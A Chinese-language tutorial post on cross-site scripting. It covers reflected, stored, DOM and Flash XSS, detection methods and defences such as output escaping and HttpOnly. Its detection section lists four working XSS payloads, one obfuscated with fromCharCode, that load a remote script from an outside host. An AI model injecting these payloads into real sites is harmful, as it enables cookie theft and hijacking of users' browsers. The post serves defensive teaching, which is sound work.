zoukankan      html  css  js  c++  java
  • web安全之xss

    xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的。

       重点在于脚本,javascript和actionscript

         属于前段攻击一般分为三类: 反射性xss,储存型XSS,DOM型XSS((还有flash XSS、mXSS)。)

    重要介绍 存储型xss

    危害:

      获取管理员的cookie

      鱼叉攻击

      挂马(水坑)

      等等。

    (1)反射性xss,url上有攻击者控制的参数,服务器在响应时,会把这个数据发到浏览器上并被解析。(危害不大)

    (2)存储型xss,攻击者把存储型xss的代码发,被服务器接收并保存, 所有浏览该信息的用户都被XSS。

    (3)domxss,DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,可以认为完全是客户端的事情。

    4. flash XSS

        利用网页上flash文件的缺陷来执行js脚本,一般是反射型XSS

    XSS的检测

    检测XSS一般分两种方法:一种是手工检测、一种是软件自动检测
    手工检测:检测结果准确,但对于大型web来说费时费力
    软件检测:方便省力,但存在误报,且有写隐蔽的XSS无法检测出
    检测XSS最重要的就是考虑哪里有输入,输入的数据在哪里输出

    存储型XSS步骤

    1. 手工检测

    可得知输出位置: • 输入敏感字符,如“<、>、"、'、()”等,然后在提交后查看html源代码,看这些字符是否被转义。 • 在输出这些字符时,程序可能已经进行了过滤,可以输入“AAAAAA<>"&'()”字符串,然后查找AAAAAA或许比较方便。 无法得知输出位置: 很多web应用程序源码不公开,在测试时不能的值输出位置,比如,有些留言本在留言后必须经过管理员审核才能显示,无法的值数据在后台管理页面处于何种状态,如: 在标签中:<div>XSS Test</div> 在属性内:<input type="text" name="content" value="XSS Test" /> 这种情况通常采用输入"/>XSS Test来测试。

    2. 全自动检测XSS

    如APPSCAN、AWVS、Burp Suite等软件都可以有效的检测XSS,他们还会检测其他的漏洞,但是他们的效率不如专业的XSS检测工具高。
    专业的XSS扫描工具有知名的XSSER、XSSF等,还有专门扫描DOM类型XSS的web服务(www.domxssscanner.com)。
    一般要手工和软件一起使用,因为有些XSS软件不能检测,不如有些留言需要输入验证码等,工具无法做到。

    XSS一般就是闭合标签,和SQL注入类似,常见payload如下:

    <script src='http://b.ioio.pub/xss/probe.js'></script>
    • <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";>
    • <svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js>
    • <svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,
        114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,
        115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47,
        112,114,111,98,101,46,106,115)) >
    

    XSS的防御

    1. 过滤输入与输出(重点)

    使用hemlspecialchars()和hemlentities()将一些预定义的字符转换为HTML实体

    <?php
        @$html = $_GET['x'];
        if ($html){
            echo htmlspecialchars($html);
        }
    ?>
    

    2. HttpOnly

    HttpOnly并不能防御XSS,它是为了解决XSS漏洞后面的Cookie劫持攻击,它可以有效地阻挡XSS会话劫持攻击。

     
  • 相关阅读:
    fir.im Weekly
    【转】UITextView的使用详解
    UITextView textViewShouldEndEditing
    【转】 iOS 两种方法实现左右滑动出现侧边菜单栏 slide view
    【转】 UITableView 的indexPath
    【转】 iOS Provisioning Profile(Certificate)与Code Signing详解
    【原】AVAudio录制,播放 (解决真机播放音量太小)
    iOS开发知识点:理解assign,copy,retain变strong
    【转】 NSArray copy 问题
    UITableView中的visibleCells的用法(visibleCells帮上大忙了)
  • 原文地址:https://www.cnblogs.com/secevery/p/5785460.html
Copyright © 2011-2022 走看看